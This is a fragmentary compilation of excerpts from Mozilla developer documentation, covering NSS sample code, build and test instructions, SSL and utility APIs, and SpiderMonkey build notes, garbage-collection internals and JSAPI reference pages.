newline */ phrase[port_strlen(phrase)-1] = 0; /* validate password */ if (!(*ok)(phrase)) { if (!istty) return 0; fprintf(output, "password must be at least 8 characters long with one or more\n"); fprintf(output, "non-alphabetic characters\n"); continue; } return (char*) port_strdup(phrase); } } /* * filepas...
sample2
iv-----" #define mac_header "-----begin mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" #define lab_header "-----begin key label-----" #define lab_trailer "-----end key label-----" #define pubkey_header "-----begin pub key -----" #define pubkey_trailer "-----end pub key -----" #define ns_certreq_header "-----begin
new certificate request-----" #define ns_certreq_trailer "-----end
new certificate request-----" #define ns_cert_enc_header "-----begin certificate for encryption-----" #define ns_cert_enc_trailer "-----end certificate for encryption-----" #define ns_cert_vfy_header "-----begin certificate for signature verification-----" #define ns_cert_vfy_trailer "-----end certificate for signature verification---...
...keyprivatekey *pk, secitem *res) { secstatus rv = secfailure; unsigned int nb; unsigned char ibuf[4096]; prfiledesc *infile = null; sgncontext *sgn = null; /* open the input file for reading */ infile = pr_open(infilename, pr_rdonly, 0); if (!infile) { pr_fprintf(pr_stderr, "unable to open \"%s\" for reading.\n", infilename); rv = secfailure; goto cleanup; } /* sign using private key */ sgn = sgn_
newcontext(sec_oid_pkcs1_md5_with_rsa_encryption, pk); if (!sgn) { pr_fprintf(pr_stderr, "unable to create context for signing\n"); rv = secfailure; goto cleanup; } rv = sgn_begin(sgn); if (rv != secsuccess) { pr_fprintf(pr_stderr, "problem while sgn_begin\n"); goto cleanup; } while ((nb = pr_read(infile, ibuf, sizeof(ibuf))) > 0) { rv = sgn_update(sgn, ibuf, nb); if (rv != secsuccess) { pr_fprintf(p...
...nism, params, pubkeyp, pr_true /*isperm*/, pr_true /*issensitive*/, pwdata); cleanup: return privkey; } /* * get the certificate request from csr */ static certcertificaterequest * getcertrequest(char *infilename, prbool ascii) { certsigneddata signeddata; secitem reqder; certcertificaterequest *certreq = null; secstatus rv = secsuccess; prarenapool *arena = null; reqder.data = null; arena = port_
newarena(der_default_chunksize); if (arena == null) { rv = secfailure; goto cleanup; } rv = readderfromfile(&reqder, infilename, ascii); if (rv) { rv = secfailure; goto cleanup; } certreq = (certcertificaterequest*) port_arenazalloc (arena, sizeof(certcertificaterequest)); if (!certreq) { rv = secfailure; goto cleanup; } certreq->arena = arena; /* since cert request is a signed data, must decode to g...
...eate info about public key */ spki = seckey_createsubjectpublickeyinfo(pubk); if (!spki) { pr_fprintf(pr_stderr, "unable to create subject public key\n"); rv = secfailure; goto cleanup; } /* generate certificate request */ cr = cert_createcertificaterequest(subject, spki, null); if (!cr) { pr_fprintf(pr_stderr, "unable to make certificate request\n"); rv = secfailure; goto cleanup; } arena = port_
newarena(der_default_chunksize); if (!arena) { fprintf(stderr, "out of memory"); rv = secfailure; goto cleanup; } exthandle = cert_startcertificaterequestattributes(cr); if (exthandle == null) { port_freearena (arena, pr_false); rv = secfailure; goto cleanup; } cert_finishextensions(exthandle); cert_finishcertificaterequestattributes(cr); /* der encode the request */ encoding = sec_asn1encodeitem(are...
NSS sources building testing
n number. because nss depends on the base library nspr, you should download the archive that combines both nss and nspr. if you are a software developer and intend to contribute enhancements to nss, you should obtain the latest development snapshot of nss using mercurial/hg (a distributed source control management tool). in order to get started, anonymous read-only access is sufficient. create a
new directory on your computer that you will use as your local work area, and run the following commands. hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss after the above commands complete, you should have two local directories, named nspr and nss, next to each other. (historical information: nspr and nss source code have recently been re-organized into a ...
... directory on your computer that you will use as your local work area, and run the following commands. hg clone https://hg.mozilla.org/projects/nspr hg clone https://hg.mozilla.org/projects/nss after the above commands complete, you should have two local directories, named nspr and nss, next to each other. (historical information: nspr and nss source code have recently been re-organized into a
new directory structure. in past versions, all files were located in a directory hierarchy that started with the "mozilla" prefix. the nspr base library was located in directory mozilla/nsprpub. the subdirectories dbm, security/dbm, security/coreconf, security/nss were part of the nss sources.) the nss directory contains the following important subdirectories: nss/coreconf contains knowledge fo...
...rectory "lib", and the tools in directory "bin". in order to run the tools, you should set your system environment to use the libraries of your build from the "lib" directory, e.g., using the ld_library_path or dyld_library_path environment variable. running the nss test suite this is an important part of development work, in order to ensure your changes don't introduce regressions. when adding
new features to nss, tests for the
new feature should be added as well. you must build nss prior to running the tests. after the build on your computer has succeeded, before you can run the tests on your computer, it might be necessary to set additional environment variables. the nss tests will start tcp/ip server tools on your computer, and in order for that to work, the nss test suite needs to kno...
...ts using "./all.sh". the tests will take a while to complete; on a slow computer it could take a couple of hours. once the test suite has completed, a summary will be printed that shows the number of failures. you can find the test suite results in directory nss/../tests_results (i.e. the results directory ends up next to the nss directory, not within it). each test suite execution will create a
new subdirectory; you should clean them up from time to time. inside the directory you'll find text file output.log, which contains a detailed report of all tests being executed. in order to learn about the details of test failures, search the file for the uppercase test failed. if desired, it's possible to run only subsets of the tests. read the contents of file all.sh to learn how that works. ...
sslintro.html
cess application. required for single-process server applications. ssl_configmpserversidcache. sets up parameters for a server cache for a multi-process application. required for multi-process server applications. you can use either this function or ssl_configserversessionidcache, not both. ...
...gle-process server applications. ssl_configmpserversidcache. sets up parameters for a server cache for a multi-process application. required for multi-process server applications. you can use either this function or ssl_configserversessionidcache, not both. configuration the configuration portion of an ssl-enabled application typically begins by opening a
new socket and then importing the
new socket into the ssl environment: pr_
newtcpsocket. opens a
new socket. a legal nspr socket is required to be passed to ssl_importfd, whether it is created with this function or by another method. ssl_importfd. makes an nspr socket into an ssl socket. required. brings an ordinary nspr socket into the ssl library, returning a
new nspr socket that can be used to make ssl calls. you can pass th...
... it is also possible for an application to import a socket into ssl after the tcp connection on that socket has already been established. ...
...ut neither end has anything to say immediately. this occurs, for example, when an https server has received a request and determines that before it can answer the request, it needs to request an authentication certificate from the client. at the http protocol level, nothing more is being said (that is, no http request or response is being sent), so the server first uses ssl_rehandshake to begin a
new handshake and then call ssl_forcehandshake to drive the handshake to completion. functions used by callbacks an ssl application typically provides one or more callback functions that are called by the ssl or pkcs #11 library code under certain circumstances. numerous functions provided by the nss libraries are useful for such application callback functions, including these: cert_checkcertv...
Utility functions
_destroy mxr 3.2 and later nssbase64encoder_update mxr 3.2 and later nssrwlock_destroy mxr 3.2 and later nssrwlock_havewritelock mxr 3.2 and later nssrwlock_lockread mxr 3.2 and later nssrwlock_lockwrite mxr 3.2 and later nssrwlock_
new mxr 3.2 and later nssrwlock_unlockread mxr 3.2 and later nssrwlock_unlockwrite mxr 3.2 and later nsssmime_versioncheck mxr 3.2.1 and later port_alloc mxr 3.2 and later port_arenaalloc mxr 3.2 and later port_arenagrow mxr ...
....2 and later port_arenastrdup mxr 3.2 and later port_arenaunmark mxr 3.2 and later port_arenazalloc mxr 3.2 and later port_free mxr 3.2 and later port_freearena mxr 3.2 and later port_geterror mxr 3.2 and later port_
newarena mxr 3.2 and later port_realloc mxr 3.2 and later port_seterror mxr 3.2 and later port_setucs2_asciiconversionfunction mxr 3.2 and later port_setucs2_utf8conversionfunction mxr 3.2 and later port_setucs4_utf8conversionfunction mxr 3.2 and late...
... later seckey_destroyencryptedprivatekeyinfo mxr 3.2 and later seckey_destroyprivatekeyinfo mxr 3.2 and later seckey_destroypublickey mxr 3.2 and later seckey_publickeystrength mxr 3.2 and later seckey_updatecertpqg mxr 3.2 and later secmod_add
newmodule mxr 3.3 and later secmod_add
newmoduleex mxr 3.4 and later secmod_deletemoduleex mxr 3.12 and later secmod_cancelwait mxr 3.9.3 and later secmod_candeleteinternalmodule mxr 3.5 and later secmod_createmodule mxr 3.4 and later s...
...ter sgn_copydigestinfo mxr 3.2 and later sgn_createdigestinfo mxr 3.2 and later sgn_destroycontext mxr 3.2 and later sgn_destroydigestinfo mxr 3.2 and later sgn_digest mxr 3.2 and later sgn_end mxr 3.2 and later sgn_
newcontext mxr 3.2 and later sgn_update mxr 3.2 and later vfy_begin mxr 3.2 and later vfy_createcontext mxr deprecated 3.12 use vfy_createcontextdirect or vfy_createcontextwithalgorithmid vfy_createcontextdirect mxr 3.12 and later vfy_createcontextwithalgorithmid...
NSS tools : signver
ned object. options -a displays all of the information in the pkcs#7 signature. -v verifies the digital signature. -d [sql:]directory specify the database directory which contains the certificates and keys. signver supports two types of databases: the legacy security databases (cert8.db, key3.db, and secmod.db) and
new sqlite databases (cert9.db, key4.db, and pkcs11.txt). if the prefix sql: is not used, then the tool assumes that the given databases are in the old format. -a sets that the given signature file is in ascii format. -i input_file gives the input file for the object with signed data. -o output_file gives the output file...
...ance limitations, though, which prevent it from being easily used by multiple applications simultaneously. nss has some flexibility that allows applications to use their own, independent database engine while keeping a shared database and working around the access issues. still, nss requires more flexibility to provide a truly shared security database. ...
...e applications simultaneously. nss has some flexibility that allows applications to use their own, independent database engine while keeping a shared database and working around the access issues. still, nss requires more flexibility to provide a truly shared security database. in 2009, nss introduced a
new set of databases that are sqlite databases rather than berkleydb. these
new databases provide more accessibility and performance: o cert9.db for certificates o key4.db for keys o pkcs11.txt, which is listing of all of the pkcs #11 modules contained in a
new subdirectory in the security databases directory because the sqlite databases are designed to be shared, these are the shared database type. the shared database type is preferred; th...
... for the tools, set the nss_default_db_type environment variable to sql: export nss_default_db_type="sql" this line can be set added to the ~/.bashrc file to make the change permanent. most applications do not use the shared database by default, but they can be configured to use them. for example, this how-to article covers how to configure firefox and thunderbird to use the
new shared nss databases: o https://wiki.mozilla.org/nss_shared_db_howto for an engineering draft on the changes in the shared nss databases, see the nss project wiki: o https://wiki.mozilla.org/nss_shared_db see also signtool (1) the nss wiki has information on the
new database design and how to configure applications to use it. o setting up the shared nss databa...
Performance Hints
nd version does not modify global variables result and i. however, if you don't intend for any other function to access these variables, then storing them globally is probably wrong anyway (what if you called another function that had a loop like the one in sum!). arrays use the forms of the array constructor that specify a size or take a list of initial elements. ...
...n to access these variables, then storing them globally is probably wrong anyway (what if you called another function that had a loop like the one in sum!). arrays use the forms of the array constructor that specify a size or take a list of initial elements. for example, the code var a =
new array(); for (var i=0; i < n; i++) a[i] = i; could be sped up by changing the constructor call to
new array(n). a constructor call like that indicates to the runtime that a javascript array should be used for the first n entries of the array. similarly,
new array("a", "b", "c") or ["a", "b", "c"] will cause a 3-element array to be allocated to hold the contents of the javascript array. eval and
new function avoid calling eval when possible. calls to eval are slow because the script bein...
...cates to the runtime that a javascript array should be used for the first n entries of the array. similarly,
new array("a", "b", "c") or ["a", "b", "c"] will cause a 3-element array to be allocated to hold the contents of the javascript array. eval and
new function avoid calling eval when possible. calls to eval are slow because the script being executed must be compiled. constructing a
new function object can be slow for the same reason, while function expressions are more efficient because the function can be compiled. ...
...ontents of the javascript array. eval and
new function avoid calling eval when possible. calls to eval are slow because the script being executed must be compiled. constructing a
new function object can be slow for the same reason, while function expressions are more efficient because the function can be compiled. for example, the code function myobject(a) { this.s = a; this.tostring =
new function("return this.s"); } could be written more efficiently as function myobject(a) { this.s = a; this.tostring = function () { return this.s } } beginning with rhino 1.4 release 2, code passed to eval and
new function will be interpreted rather than compiled to class files. with using the with statement prevents the compiler from generating code for fast access to local variabl...
SpiderMonkey Build Documentation
fail to compile with /usr/local/cellar/llvm/7.0.1/lib/clang/7.0.1/include/inttypes.h:30:15: fatal error: 'inttypes.h' file not found /usr/local/cellar/llvm/7.0.1/lib/clang/7.0.1/include/inttypes.h:30:15: fatal error: 'inttypes.h' file not found, err: true this is because, starting from mohave, headers are no longer installed in /usr/include. ...
...o following the steps above, you should also create a debug build using these steps: cd js/src # this name should end with "_dbg.obj" to make the version control system ignore it. mkdir build_dbg.obj cd build_dbg.obj /bin/sh ../configure.in --enable-debug --disable-optimize # use "mozmake" on windows make you can also build debug builds of spidermonkey with the js_gc_zeal option, which adds a
new built-in function to spidermonkey that lets you configure zealous garbage collection. this can help debug memory leaks and other memory-related problems. see js_setgczeal() for details. for a list of other available build options, type (assuming the current working directory is one of the above-created build directories): /bin/sh ../configure.in --help generating a compilation database some...
... 64-bit build, note that you must configure with --target=x86_64-pc-mingw32 --host=x86_64-pc-mingw32. since the posix nspr emulation is not available for windows, a working version of nspr must be available to your build. the easiest option is to configure with --enable-nspr-build. this configure option builds the in-tree version of nspr which is probably what you want; because spidermonkey uses
newer nspr symbols, the nspr that ships with your operating system probably does not work. if --enable-nspr-build does not work, explicitly tell configure where to find nspr using the --with-nspr-cflags and --with-nspr-libs configure options. for example, assuming your local nspr has been installed to c:/mozilla-build/msys/local: /bin/sh ../configure.in --with-nspr-cflags="-ic:/mozilla-build/msys/l...
...as clang has cross-compiling support built in. you may need other libraries though. for example on debian linux you'll need the following to cross compile from x86_64 to x86. apt install clang libstdc++-8-dev-i386-cross binutils-i686-gnu zlib1g-dev:i386 you'll also need rust, in addition to having normal rust set up you'll need to add another target to your existing rust toolchain (don't add a
new toolchain spidermonkey will use only one toolchain and use it for both host and target code: rustup target add i686-unknown-linux-gnu to build a 32-bit version on a 64-bit linux system, you can use the following: pkg_config_libdir=/usr/lib/pkgconfig cc="gcc -m32 -mfpmath=sse -msse -msse2" cxx="g++ -m32 -mfpmath=sse -msse -msse2" ar=ar \ $src/configure --target=i686-pc-linux or for clang. $s...
SpiderMonkey compartments
compartments are used to create multiple javascript memory heaps, which avoids having one heap for all javascript objects. each compartment is a separate javascript heap. in previous versions of spidermonkey, the garbage collector would walk the entire heap of all javascript objects when garbage collection was needed. with compartments, garbage collection can run per compartment. this can result in significant performance improvements in some applications. an object in one compartment cannot touch an object in another compartment, except through a cross-compartment wrapper. compartment example the firefox browser embeds spidermonkey. ...
...ng false sharing of cache lines. false sharing occurs when we are trying to operate on an object and we have to read an entire cache line of data into the cpu cache. in the old model, javascript objects could be co-located with arbitrary other javascript objects from other origins. such cross-origin objects are used together very infrequently, which reduces the number of cache hits we get. in the
new model most objects touched by a website are tightly packed next to each other in memory, with no cross-origin objects in between. javascript objects (including javascript functions, which are objects also) are only allowed to touch objects in the same compartment. this invariant is very useful for security purposes. the javascript engine enforces this requirement at a very low level. it means t...
...ept alive by outside references (through cross-compartment wrappers). this allows the garbage collecting of individual compartments, in addition to global collection. spidermonkey simply assumes that all objects referenced from outside the compartment are live, and then walks the object graph inside the compartment. objects that are found to be disconnected from the graph are discarded. ...
.... spidermonkey simply assumes that all objects referenced from outside the compartment are live, and then walks the object graph inside the compartment. objects that are found to be disconnected from the graph are discarded. with this
new per-compartment garbage collection we shortcut having to walk unrelated heap areas of a window or tab that triggered a garbage collection. ...
GCIntegration - SpiderMonkey Redirect 1
an incremental gc is in progress. spidermonkey uses a simple barrier commonly called a "snapshot at the beginning" barrier. the fundamental invariant that this barrier guarantees is that any object reachable when the incremental gc started will be marked. in addition, objects allocated during the incremental gc are marked unconditionally. at the end of the gc, any reachable object must have been
newly allocated or else reachable at the beginning, since objects can never go from unreachable to reachable. the end result is that all reachable objects are marked. a simple way to visualize the invariant is that, when an incremental gc starts, an "initial snapshot" of the heap is taken. the snapshot consists of all objects reachable from the roots via traced pointers--as if someone did a js_dumph...
...ready have a read barrier on them: xpc_unmarkgray(). besides gray unmarking, this function automatically checks if an incremental gc is running and, if so, marks the given object black. this is how the read barrier for nswrappercache::getwrapper() actually works. moving gc there are two forms of moving gc we are likely to implement: generational gc and compacting gc. in generational gc, certain
newly allocated are moved from one place (a nursery) to another (the tenured space). at least initially, only jsstrings and jsobjects without finalizers will be allocated in the nursery, and so only they will be subject to moving. compacting gc is more exhaustive: every object is subject to moving. stack roots to implement moving gc, we will remove the conservative stack scanner. we don't have a fu...
...an in place for what will replace it, but whatever it is will likely resemble auto-rooters. the main difference is that every reference will need to be rooted. for example, the following code will be incorrect: autorootedobject obj1 = ...; jsobject *obj2 = obj1; // use obj2 if a gc runs in the middle of this code, and if obj1/obj2 is moved, then the obj1 pointer will be updated to point to the
new location. the obj2 pointer will not, and it will contain garbage. we have a three-pronged strategy for ensuring that no auto-rooters are missing: all spidermonkey apis will require that only rooted objects be passed to them. so you might be able to get your hands on an unrooted object, but you won't be able to do anything with it. brian hackett has written a dynamic analysis that uses the ex...
...ed in, rather than the pointer itself. then, if we need to move the object, we'll update the pointer to it as well. for pointers that are not traced, the solutions become more ad-hoc. it's likely that js_isabouttobefinalized() will also be changed to take the address of the pointer. if the given object is still alive, but it moved, then we can update the pointer. for wrapper caches, we may add a
new class hook that is invoked if the object moves. objects with wrapper caches could implement that hook to find their corresponding c++ object and update the wrapper field to point to the
new location. undoubtedly there will be more esoteric cases. we will need to handle pointers to array slots and string characters specially, since those may actually be pointers into the middle of gc things (inli...
Hacking Tips
) the shell has a small function named dis to dump the bytecode of a function with its source notes. without arguments, it will dump the bytecode of its caller. js> function f () { return 1; } js> dis(f); flags: loc op ----- -- main: 00000: one 00001: return 00002: stop source notes: ofs line pc delta desc args ---- ---- ----- ------ -------- ------ 0: 1 0 [ 0]
newline 1: 2 0 [ 0] colspan 2 3: 2 2 [ 2] colspan 9 getting the bytecode of a function (from gdb) in jsopcode.cpp, a function named js::disassembleatpc can print the bytecode of a script. some variants of this function such as js::dumpscript etc are convenient for debugging. printing the js stack (from gdb) in jsobj.cpp, a function named js::dumpbacktrace prints a backtra...
... number of this function is 4780, for instance: (gdb) b codegenerator.cpp:4780 breakpoint 1 at 0x84cade0: file /home/code/mozilla-central/js/src/ion/codegenerator.cpp, line 4780. (gdb) r starting program: /home/code/mozilla-central/js/src/32-release/js -f /home/code/jaeger.js [thread debugging using libthread_db enabled] using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". ...
...r instance: (gdb) b codegenerator.cpp:4780 breakpoint 1 at 0x84cade0: file /home/code/mozilla-central/js/src/ion/codegenerator.cpp, line 4780. (gdb) r starting program: /home/code/mozilla-central/js/src/32-release/js -f /home/code/jaeger.js [thread debugging using libthread_db enabled] using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". ...
.../lib/x86_64-linux-gnu/libthread_db.so.1". [
new thread 0xf7903b40 (lwp 12563)] [
new thread 0xf6bdeb40 (lwp 12564)] run#0 breakpoint 1, js::ion::codegenerator::link (this=0x86badf8) at /home/code/mozilla-central/js/src/ion/codegenerator.cpp:4780 4780 { (gdb) n 4781 jscontext *cx = getioncontext()->cx; (gdb) n 4783 linker linker(masm); (gdb) n 4784 ioncode *code = linker.
newcode(cx, jsc::ion_code); (gdb) n 4785 if (!code) (gdb) p code->code_ $1 = (uint8_t *) 0xf7fd25a8 "\201", <incomplete sequence \354\200> (gdb) x/2i 0xf7fd25a8 0xf7fd25a8: sub $0x80,%esp 0xf7fd25ae: mov 0x94(%esp),%ecx on arm, the compiled js code will always be arm machine code, whereas spidermonkey itself is frequently thumb2. since there isn't debug info for the jitte...
SpiderMonkey Internals
bytecode into infix source by consulting a separate byte-sized code, called source notes, to disambiguate bytecodes that result from more than one grammatical production. garbage collector the gc is a mark-and-sweep, non-conservative (exact) collector. it is used to hold js objects and string descriptors (jsstring), but not string bytes. it runs automatically only when maxbytes (as passed to js_
newruntime) bytes of gc things have been allocated and another thing-allocation request is made. js api users should call js_gc or js_maybegc between script executions or from the operation callback, as often as necessary. because the gc is exact, c/c++ applications must ensure that all live objects, strings, and numbers are gc-reachable. javascript values the type js::value represents a javascrip...
...uctions to implement functions like step out, but a future jsdbgapi.h will provide convenience interfaces to do these things. at most one trap per bytecode can be set. when a script (jsscript) is destroyed, all traps set in its bytecode are cleared. watchpoints, for intercepting set operations on properties and running a debugger-supplied function that receives the old value and a pointer to the
new one, which it can use to modify the
new value being set. line number to pc and back mapping functions. the line-to-pc direction "rounds" toward the next bytecode generated from a line greater than or equal to the input line, and may return the pc of a for-loop update part, if given the line number of the loop body's closing brace. any line after the last one in a script or function maps to a pc ...
...number of the loop body's closing brace. any line after the last one in a script or function maps to a pc one byte beyond the last bytecode in the script. an example, from perfect.js: function perfect(n) { print("the perfect numbers up to " + n + " are:"); // we build sumofdivisors[i] to hold a string expression for // the sum of the divisors of i, excluding i itself. var sumofdivisors =
new exprarray(n + 1, 1); for (var divisor = 2; divisor <= n; divisor++) { for (var j = divisor + divisor; j <= n; j += divisor) { sumofdivisors[j] += " + " + divisor; } // at this point everything up to 'divisor' has its sumofdivisors // expression calculated, so we can determine whether it's perfect // already by evaluating. if (eval(sumofdivisors[divisor]) == divisor...
...nd related code yet. in particular, js 1.0 support is missing from spidermonkey. js.cpp, jsshell.msg the "js shell", a simple interpreter program that uses the js api and more than a few internal interfaces (some of these internal interfaces could be replaced by jsapi.h calls). the js program built from this source provides a test vehicle for evaluating scripts and calling functions, trying out
new debugger primitives, etc. a look at the places where jsshell.msg is used in js.cpp shows how error messages can be handled in jsapi applications. these messages can be localized at compile time by replacing the .msg file; or, with a little modification to the source, at run time. more information on the javascript shell. js.msg spidermonkey error messages. jsarray.*, jsbool.*, jsdate.*, jsfu...
JS_CloneFunctionObject
obsolete since jsapi 36this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. create a
new function object from an existing jsfunction. syntax jsobject * js_clonefunctionobject(jscontext *cx, jsobject *funobj, jsobject *parent); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
... * js_clonefunctionobject(jscontext *cx, jsobject *funobj, jsobject *parent); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. funobj jsobject * the function to clone. ...
...t); name type description cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. funobj jsobject * the function to clone. parent jsobject * the
new function's parent. description js_clonefunctionobject creates a
new function object from funobj. the
new object has the same code and argument list as funobj, but uses parent as its enclosing scope. this can be helpful if funobj is an extant function that you wish to use as if it were enclosed by a
newly-created global object. the
new object's prototype is function.prototype; js_
newobject: choosing a default prototype explains exactly how this is computed. js_clo...
...if the class of funobj is not function, then js_clonefunctionobject returns funobj itself. on failure, it returns null. ...
JS_CompileFunction
ize_t length, const char *filename, unsigned int lineno); name type description cx jscontext * the context in which to compile the function. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object with which the function is associated. name const char * name to assign the
newly compiled function. nargs unsigned int number of arguments to pass to the function. argnames const char ** names to assign to the arguments passed to the function. body const char * or const jschar * string containing the body of the function to compile. length size_t the length, in characters, of body. filename const char *...
...to report filename or url in error messages. lineno unsigned int line number. used to report the offending line in the file or url if an error occurs. description js_compilefunction compiles a function from a text string, bytes, and optionally associates it with a js object, obj. js_compileucfunction is the unicode version of the function. name is the name to assign to the
newly created function. nargs is the number of arguments the function takes, and argnames is a pointer to the first element of an array of names to assign each argument. the number of argument names should match the number of arguments specified in nargs. body is a string containing the source code of the function. length is the length of the source code in characters. filename is the name of the f...
...dy is a string containing the source code of the function. length is the length of the source code in characters. filename is the name of the file (or url) containing the function. this information is used in error messages if an error occurs during compilation. similarly, lineno is used to report the line number where an error occurred during compilation. if both obj and name are non-null, the
new function becomes a method of obj. (a
new property is defined on obj with the given name and the
new function object as its value.) on success, js_compilefunction and js_compileucfunction return a pointer to the
newly compiled function. on error or exception, they return null. see also mxr id search for js_compilefunction mxr id search for js_compileucfunction jsfun_bound_method jsfun_glob...
...ction return a pointer to the
newly compiled function. on error or exception, they return null. ...
JS_CompileFunctionForPrincipals
t * the context in which to compile the function. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object with which the function is to be associated. principals jsprincipals * pointer to the structure holding the security information for this function. name const char * name to assign the
newly compiled function. nargs unsigned int number of arguments to pass to the function. argnames const char ** names to assign to the arguments passed to the function. body const char * or const jschar * string containing the source code of the function to compile. length size_t the length, in characters, of body. filename const...
...ccurs. description js_compilefunctionforprincipals compiles a security-enabled function from a text string, bytes, and associates it with a js object, obj. js_compileucfunctionforprincipals is the unicode version of the function. principals is a pointer to the jsprincipals structure that contains the security information to associate with this function. name is the name to assign to the
newly created function. nargs is the number of arguments the function takes, and argnames is a pointer to the first element of an array of names to assign each argument. the number of argument names should match the number of arguments specified in nargs. body is the string containing the source code of the function. length is the length of the string in characters. filename is the name of the file...
... the string in characters. filename is the name of the file (or url) containing the function. this information is passed in messages if an error occurs during compilation. similarly, lineno is used to report the line number of the function or file where an error occurred during compilation. on success, js_compilefunctionforprincipals and js_compileucfunctionforprincipals return a pointer to the
newly compiled function. on error or exception, they return null. see also mxr id search for js_compilefunctionforprincipals mxr id search for js_compileucfunctionforprincipals jsfun_bound_method jsfun_global_parent js_callfunction js_callfunctionname js_callfunctionvalue js_compilefunction js_decompilefunction js_decompilefunctionbody js_definefunction js_definefunctions js_getfuncti...
...unction. on error or exception, they return null. ...
JS_Init
this article covers features introduced in spidermonkey 31 initializes the js engine so that further operations can be performed. syntax #include "js/initialization.h" // previously "jsapi.h" bool js_init(void); description initialize spidermonkey, returning true only if initialization succeeded. once this method has succeeded, it is safe to call js_
newruntime and other jsapi methods. this method must be called before any other jsapi method is used on any thread. once it has been used, it is safe to call any jsapi method, and it remains safe to do so until js_shutdown is correctly called. it is currently not possible to initialize spidermonkey multiple times (that is, calling js_init, jsapi methods, then js_shutdown in that order, then doing so again). this restriction may e...
... jsapi method, and it remains safe to do so until js_shutdown is correctly called. ...
...s correctly called. ...
... spidermonkey multiple times (that is, calling js_init, jsapi methods, then js_shutdown in that order, then doing so again). this restriction may eventually be lifted. ...
JS_SetProperty
erty [[set]] internal method defined in es2015 (rev 29 9.5.9) is performed. if obj is a native object with custom setgeneric op, the op is called with (cx, obj, id, &v, false)). otherwise, [[set]] internal method defined in es2015 (rev 29 9.1.9) is performed. ...
....9) is performed. if obj is a native object with custom setgeneric op, the op is called with (cx, obj, id, &v, false)). otherwise, [[set]] internal method defined in es2015 (rev 29 9.1.9) is performed. if the lookup found no property with the given name, or if it found that obj inherits such a property from a non-native object, then a
new own property is added to obj, as described below. the
new property is jsprop_enumerate. ...
... object, then a
new own property is added to obj, as described below. the
new property is jsprop_enumerate. otherwise, if the lookup found a read-only property or obj non-extensible, nothing happens, but this is not an error. in strict mode, a warning is issued. otherwise, if obj has an own property with the given name, then the existing property's value is set as described below. creation of
new properties one of the cases above involves creating a
new own property on obj. the name of the
new property is given by name or id. the initial stored value of the
new property is undefined. its getter and setter are the jsclass.getproperty and setproperty hooks of obj's class, and its property attributes are exactly jsprop_enumerate. ...
... value is set as described below. creation of
new properties one of the cases above involves creating a
new own property on obj. the name of the
new property is given by name or id. the initial stored value of the
new property is undefined. its getter and setter are the jsclass.getproperty and setproperty hooks of obj's class, and its property attributes are exactly jsprop_enumerate. after the
new property is added, the jsclass.addproperty hook is called with the arguments (cx, obj, id, &v). this hook may assign to v. if the hook succeeds and the property has a stored value, then the value left in v by the addproperty hook becomes the stored value of the property. setting the value. two of the cases above can involve setting the value of a
new or existing property of obj. this is done as...
JS_malloc
if allocation fails, an error is reported in this context. p void * (js_realloc and js_free only) pointer to a previously allocated region of memory to resize or deallocate. ...
...ull-terminated string. s must not be null. description js_malloc allocates a region of memory nbytes in size. on success, js_malloc returns a pointer to the beginning of the region. as with the standard c function malloc, memory allocated by js_malloc is uninitialized. js_realloc tries to change the allocation size of the region of memory at p to nbytes. failing that, js_realloc allocates a
new region of size nbytes and copies as much of the existing data in p as will fit to the
new region. then it frees the region at p and returns a pointer to the
new region. apart from whatever is copied, any
newly allocated space is uninitialized. js_realloc(cx, null, nbytes) behaves exactly like js_malloc(cx, nbytes). when p is not null, js_realloc(cx, p, 0) behaves like js_free(cx, p) and returns n...
...on note: currently these four functions are implemented using the corresponding standard c functions. do not make assumptions based on this implementation detail. future releases may implement these functions differently. js_realloc code sample realloc is famously tricky to use correctly. ...
...mented using the corresponding standard c functions. do not make assumptions based on this implementation detail. future releases may implement these functions differently. js_realloc code sample realloc is famously tricky to use correctly. ...
SpiderMonkey 45
ey 45. you can download full source code from https://ftp.mozilla.org/pub/spidermonkey/releases/45.0.2/mozjs-45.0.2.tar.bz2 sha256: 570530b1e551bf4a459d7cae875f33f99d5ef0c29ccc7742a1b6f588e5eadbee md5: 2ca34f998d8b5ea79d8616dd26b5fbab spidermonkey 45 is the javascript engine that shipped in firefox 45. it continues to improve performance over previous spidermonkey releases. it also contains
new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine
newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascript engine. you may wish to make the bugs block bug 837921 (aliased as "sm.embedding"). — apr 14, 2016 platform support spidermonkey 45 is supporte...
... name, providing relatively unchanged functionality. applications will require significant changes, but most changes will be automatically detected by the c/c++ compiler, making them easy to detect and updating the code a relatively straightforward job. here is a list of the most significant changes: js::nullptr is obsolete. you should now use nullptr instead. (supporting decltype(nullptr)).
new javascript language features javascript 45 includes significant updates to its language features, yo.
new c++ apis jsapi is a c++ exclusive api. please note that spidermonkey reserves the js:: namespace for itself for public exports and the js:: namespace for internal use. js_setcurrentembeddertimefunction (bug 1159507) js_getcurrentembeddertime (bug 1159507) js_mayresolvestandardclass (...
...js_extensiblelexicalscope (bug 1202902) js_initreflectparse (bug 987514) js::toprimitive (bug 1206168) js::getfirstargumentastypehint (bug 1054756) js::objecttocompletepropertydescriptor (bug 1144366) js_setimmutableprototype (bug 1211607) js_getownucpropertydescriptor (bug 1211607) js_hasownpropertybyid (bug 1211607) js_hasownproperty (bug 1211607) js_deleteucproperty (bug 1211607) js::
newfunctionfromspec (bug 1054756) js::compilefornonsyntacticscope (bug 1165486) js_checkforinterrupt (bug 1058695) js::mapdelete (bug 1159469) js::mapforeach (bug 1159469) js::
